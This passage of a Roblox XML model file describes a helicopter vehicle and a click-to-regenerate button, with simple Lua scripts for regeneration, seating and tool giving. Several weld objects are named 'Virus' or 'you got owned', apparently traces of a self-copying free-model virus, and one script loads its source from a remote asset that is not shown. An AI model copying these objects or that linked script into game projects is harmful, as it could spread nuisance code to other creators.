				<token name="TopSurface">5</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<Vector3 name="size">
					<X>2</X>
					<Y>20</Y>
					<Z>2</Z>
				</Vector3>
				<token name="style">0</token>
			</Properties>
		</Item>
		<Item class="Model" referent="RBX2462">
			<Properties>
				<bool name="Archivable">true</bool>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
			</Properties>
			<Item class="Part" referent="RBX2463">
				<Properties>
					<bool name="Anchored">true</bool>
					<bool name="Archivable">true</bool>
					<float name="BackParamA">-0.5</float>
					<float name="BackParamB">0.5</float>
					<token name="BackSurface">0</token>
					<token name="BackSurfaceInput">0</token>
					<float name="BottomParamA">-0.5</float>
					<float name="BottomParamB">0.5</float>
					<token name="BottomSurface">0</token>
					<token name="BottomSurfaceInput">0</token>
					<int name="BrickColor">104</int>
					<CoordinateFrame name="CFrame">
						<X>-1744</X>
						<Y>27.3999996</Y>
						<Z>50</Z>
						<R00>-1</R00>
						<R01>0</R01>
						<R02>-0</R02>
						<R10>-0</R10>
						<R11>1</R11>
						<R12>-0</R12>
						<R20>-0</R20>
						<R21>0</R21>
						<R22>-1</R22>
					</CoordinateFrame>
					<bool name="CanCollide">true</bool>
					<float name="Elasticity">0.5</float>
					<token name="FormFactor">2</token>
					<float name="Friction">0.300000012</float>
					<float name="FrontParamA">-0.5</float>
					<float name="FrontParamB">0.5</float>
					<token name="FrontSurface">0</token>
					<token name="FrontSurfaceInput">0</token>
					<float name="LeftParamA">-0.5</float>
					<float name="LeftParamB">0.5</float>
					<token name="LeftSurface">0</token>
					<token name="LeftSurfaceInput">0</token>
					<bool name="Locked">false</bool>
					<token name="Material">256</token>
					<string name="Name">Button1</string>
					<float name="Reflectance">0</float>
					<float name="RightParamA">-0.5</float>
					<float name="RightParamB">0.5</float>
					<token name="RightSurface">0</token>
					<token name="RightSurfaceInput">0</token>
					<Vector3 name="RotVelocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<float name="TopParamA">-0.5</float>
					<float name="TopParamB">0.5</float>
					<token name="TopSurface">0</token>
					<token name="TopSurfaceInput">0</token>
					<float name="Transparency">0</float>
					<Vector3 name="Velocity">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
					</Vector3>
					<token name="shape">1</token>
					<Vector3 name="size">
						<X>4</X>
						<Y>0.400000006</Y>
						<Z>4</Z>
					</Vector3>
				</Properties>
				<Item class="ClickDetector" referent="RBX2464">
					<Properties>
						<bool name="Archivable">true</bool>
						<float name="MaxActivationDistance">100</float>
						<string name="Name">ClickDetector</string>
					</Properties>
				</Item>
				<Item class="Fire" referent="RBX2465">
					<Properties>
						<bool name="Archivable">true</bool>
						<Color3 name="Color">4294948864</Color3>
						<bool name="Enabled">false</bool>
						<string name="Name">Fire</string>
						<Color3 name="SecondaryColor">4294901760</Color3>
						<float name="heat_xml">25</float>
						<float name="size_xml">30</float>
					</Properties>
				</Item>
				<Item class="Script" referent="RBX2466">
					<Properties>
						<bool name="Archivable">true</bool>
						<bool name="Disabled">false</bool>
						<Content name="LinkedSource"><null></null></Content>
						<string name="Name">regen</string>
						<ProtectedString name="Source">-- dark886&apos;s click regen script 
-- just place this script to the button
-- just place the button to the model
-- just place the model to anywhere lol

location = script.Parent.Parent.Parent
regen = script.Parent.Parent
save = regen:clone()

function onClicked()
	regen:remove()
	back = save:clone()
	back.Parent = location
	back:MakeJoints()
end 

script.Parent.ClickDetector.MouseClick:connect(onClicked)</ProtectedString>
					</Properties>
				</Item>
				<Item class="ForceField" referent="RBX2467">
					<Properties>
						<bool name="Archivable">true</bool>
						<string name="Name">ForceField</string>
					</Properties>
				</Item>
			</Item>
			<Item class="Model" referent="RBX2468">
				<Properties>
					<bool name="Archivable">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Heli2</string>
					<Ref name="PrimaryPart">null</Ref>
				</Properties>
				<Item class="Model" referent="RBX2469">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Helicopter</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX2470">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Parts</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Seat" referent="RBX2471">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">2</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">199</int>
								<CoordinateFrame name="CFrame">
									<X>-1744.5</X>
									<Y>29.8000031</Y>
									<Z>32.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>-1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">2</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Seat</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00166741433</X>
									<Y>0.00490040844</Y>
									<Z>-0.0190735403</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>2</X>
									<Y>0.400000006</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
							<Item class="Script" referent="RBX2472">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">function onDie()
	human = nil
	script.Parent.Parent.Parent:BreakJoints()
	wait(5)
	script.Parent.Parent.Parent:Remove()
end

function Child(c)
	if c.Name == &quot;SeatWeld&quot; and c.Part1.Name == &quot;Torso&quot; then
		human = c.Part1.Parent
		script.Parent.Parent.Parent.Parent = human
		human.Humanoid.Died:connect(onDie)
	end
end

function noChild()
	human = nil
	script.Parent.Parent.Parent.Parent = game.Workspace
end

script.Parent.ChildAdded:connect(Child)
script.Parent.ChildRemoved:connect(noChild)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX2473">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">Script</string>
									<ProtectedString name="Source">function onChildAdded(child)
if child.Name == &quot;SeatWeld&quot; then
if child.Part1.Name == &quot;Torso&quot; then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player ~= nil then
tool = game.Lighting.Helicopter:Clone() -- Change this to whatever it is
tool.Parent = player.Backpack
end
end
end
end

function onChildRemoved()
if tool ~= nil then
tool:Remove()
end
end

script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)

-- Put it in the seat you want to give a tool.
</ProtectedString>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2474">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1004</int>
								<CoordinateFrame name="CFrame">
									<X>-1747.5</X>
									<Y>29.1000023</Y>
									<Z>32.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>-1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Engine</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">0</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00166741433</X>
									<Y>0.00490040844</Y>
									<Z>-0.0190189239</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>5</X>
									<Y>1</Y>
									<Z>15</Z>
								</Vector3>
							</Properties>
							<Item class="BodyGyro" referent="RBX2475">
								<Properties>
									<bool name="Archivable">true</bool>
									<float name="D">500</float>
									<string name="Name">BodyGyro</string>
									<float name="P">3000</float>
									<CoordinateFrame name="cframe">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<Vector3 name="maxTorque">
										<X>8.99999949e+009</X>
										<Y>8.99999949e+009</Y>
										<Z>8.99999949e+009</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="BodyVelocity" referent="RBX2476">
								<Properties>
									<bool name="Archivable">true</bool>
									<string name="Name">BodyVelocity</string>
									<float name="P">1250</float>
									<Vector3 name="maxForce">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
									<Vector3 name="velocity">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
									</Vector3>
								</Properties>
							</Item>
							<Item class="Fire" referent="RBX2477">
								<Properties>
									<bool name="Archivable">true</bool>
									<Color3 name="Color">4278190335</Color3>
									<bool name="Enabled">false</bool>
									<string name="Name">Fire</string>
									<Color3 name="SecondaryColor">4294967295</Color3>
									<float name="heat_xml">25</float>
									<float name="size_xml">30</float>
								</Properties>
							</Item>
						</Item>
						<Item class="Part" referent="RBX2478">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1004</int>
								<CoordinateFrame name="CFrame">
									<X>-1747</X>
									<Y>30.1000023</Y>
									<Z>27.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>-1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
								<token name="FrontSurface">0</token>
								<token name="FrontSurfaceInput">0</token>
								<float name="LeftParamA">-0.5</float>
								<float name="LeftParamB">0.5</float>
								<token name="LeftSurface">0</token>
								<token name="LeftSurfaceInput">0</token>
								<bool name="Locked">false</bool>
								<token name="Material">256</token>
								<string name="Name">Gun3</string>
								<float name="Reflectance">0</float>
								<float name="RightParamA">-0.5</float>
								<float name="RightParamB">0.5</float>
								<token name="RightSurface">0</token>
								<token name="RightSurfaceInput">0</token>
								<Vector3 name="RotVelocity">
									<X>1.87310278e-010</X>
									<Y>1.82058138e-005</Y>
									<Z>1.03550606e-011</Z>
								</Vector3>
								<float name="TopParamA">-0.5</float>
								<float name="TopParamB">0.5</float>
								<token name="TopSurface">2</token>
								<token name="TopSurfaceInput">0</token>
								<float name="Transparency">0</float>
								<Vector3 name="Velocity">
									<X>-0.00175844342</X>
									<Y>0.00490040984</Y>
									<Z>-0.0190280266</Z>
								</Vector3>
								<token name="shape">1</token>
								<Vector3 name="size">
									<X>1</X>
									<Y>1</Y>
									<Z>2</Z>
								</Vector3>
							</Properties>
						</Item>
						<Item class="Part" referent="RBX2479">
							<Properties>
								<bool name="Anchored">false</bool>
								<bool name="Archivable">true</bool>
								<float name="BackParamA">-0.5</float>
								<float name="BackParamB">0.5</float>
								<token name="BackSurface">0</token>
								<token name="BackSurfaceInput">0</token>
								<float name="BottomParamA">-0.5</float>
								<float name="BottomParamB">0.5</float>
								<token name="BottomSurface">0</token>
								<token name="BottomSurfaceInput">0</token>
								<int name="BrickColor">1004</int>
								<CoordinateFrame name="CFrame">
									<X>-1747</X>
									<Y>30.1000023</Y>
									<Z>24.5</Z>
									<R00>0</R00>
									<R01>0</R01>
									<R02>-1</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>1</R20>
									<R21>0</R21>
									<R22>0</R22>
								</CoordinateFrame>
								<bool name="CanCollide">true</bool>
								<float name="Elasticity">0.5</float>
								<token name="FormFactor">0</token>
								<float name="Friction">0.300000012</float>
								<float name="FrontParamA">-0.5</float>
								<float name="FrontParamB">0.5</float>
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								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Billylones is awesomesauce</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX2639">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="RotateP" referent="RBX2640">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="BaseAngle">0.25</float>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">d&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;ng.........you got owned...</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX2641">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="Weld" referent="RBX2642">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Virus</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX2643">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
					<Item class="Seat" referent="RBX2644">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">2</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">1003</int>
							<CoordinateFrame name="CFrame">
								<X>-1751</X>
								<Y>27.8000011</Y>
								<Z>29</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">2</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">2</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Seat</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">2</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>1.87310278e-010</X>
								<Y>1.82058138e-005</Y>
								<Z>1.03550606e-011</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>-0.00173113472</X>
								<Y>0.00490040891</Y>
								<Z>-0.0189552028</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>0.400000006</Y>
								<Z>2</Z>
							</Vector3>
						</Properties>
						<Item class="RotateP" referent="RBX2645">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="BaseAngle">0.25</float>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Billylones is awesomesauce</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX2646">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="RotateP" referent="RBX2647">
							<Properties>
								<bool name="Archivable">true</bool>
								<float name="BaseAngle">0.25</float>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">d&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;&#229;ng.........you got owned...</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
							<Item class="Weld" referent="RBX2648">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="C0">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<CoordinateFrame name="C1">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Virus</string>
									<Ref name="Part0">null</Ref>
									<Ref name="Part1">null</Ref>
								</Properties>
							</Item>
						</Item>
						<Item class="Weld" referent="RBX2649">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="C0">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<CoordinateFrame name="C1">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Virus</string>
								<Ref name="Part0">null</Ref>
								<Ref name="Part1">null</Ref>
							</Properties>
						</Item>
						<Item class="Fire" referent="RBX2650">
							<Properties>
								<bool name="Archivable">true</bool>
								<Color3 name="Color">4278190335</Color3>
								<bool name="Enabled">false</bool>
								<string name="Name">Fire</string>
								<Color3 name="SecondaryColor">4294967295</Color3>
								<float name="heat_xml">25</float>
								<float name="size_xml">30</float>
							</Properties>
						</Item>
					</Item>
				</Item>
			</Item>
		</Item>
		<Item class="Part" referent="RBX2651">
			<Properties>
				<bool name="Anchored">true</bool>
				<bool name="Archivable">true</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">2</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">2</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">1003</int>
				<CoordinateFrame name="CFrame">
					<X>-1711</X>
					<Y>29</Y>
					<Z>37</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<float name="Elasticity">0.5</float>
				<token name="FormFactor">1</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">2</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">2</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Platform</string>
				<float name="Reflectance">1</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">2</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">2</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
				</Vector3>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>6</X>
					<Y>1.20000005</Y>
					<Z>6</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX2652">
				<Properties>
					<bool name="Archivable">true</bool>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=48040081</url></Content>
					<float name="Transparency">0</float>
				</Properties>
			</Item>
			<Item class="Script" referent="RBX2653">
				<Properties>
					<bool name="Archivable">true</bool>
					<bool name="Disabled">false</bool>
					<Content name="LinkedSource"><url>http://www.roblox.com/asset/?id=13326026</url></Content>
